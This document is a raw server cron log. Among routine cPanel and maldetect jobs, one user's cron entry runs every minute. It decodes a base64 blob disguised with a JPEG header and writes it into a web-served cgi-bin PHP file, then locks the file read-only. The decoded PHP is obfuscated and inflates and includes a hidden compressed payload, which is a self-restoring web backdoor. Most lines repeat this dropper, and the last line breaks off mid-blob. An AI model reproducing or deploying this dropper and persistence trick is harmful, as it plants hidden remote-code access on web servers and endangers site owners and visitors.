Apr 11 05:11:01 server CROND[23304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:12:01 server CROND[23352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:12:01 server CROND[23353]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 05:13:01 server CROND[23452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:14:01 server CROND[23497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:15:01 server CROND[23543]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 05:15:01 server CROND[23544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:15:01 server CROND[23546]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 05:16:01 server CROND[23722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:17:01 server CROND[23779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:18:01 server CROND[23832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:19:01 server CROND[23890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:20:01 server CROND[23958]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 05:20:01 server CROND[23959]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 05:20:01 server CROND[23960]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 05:20:01 server CROND[23962]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 05:20:01 server CROND[23961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:21:01 server CROND[24164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:22:01 server CROND[24216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:23:01 server CROND[24262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:24:01 server CROND[24312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaU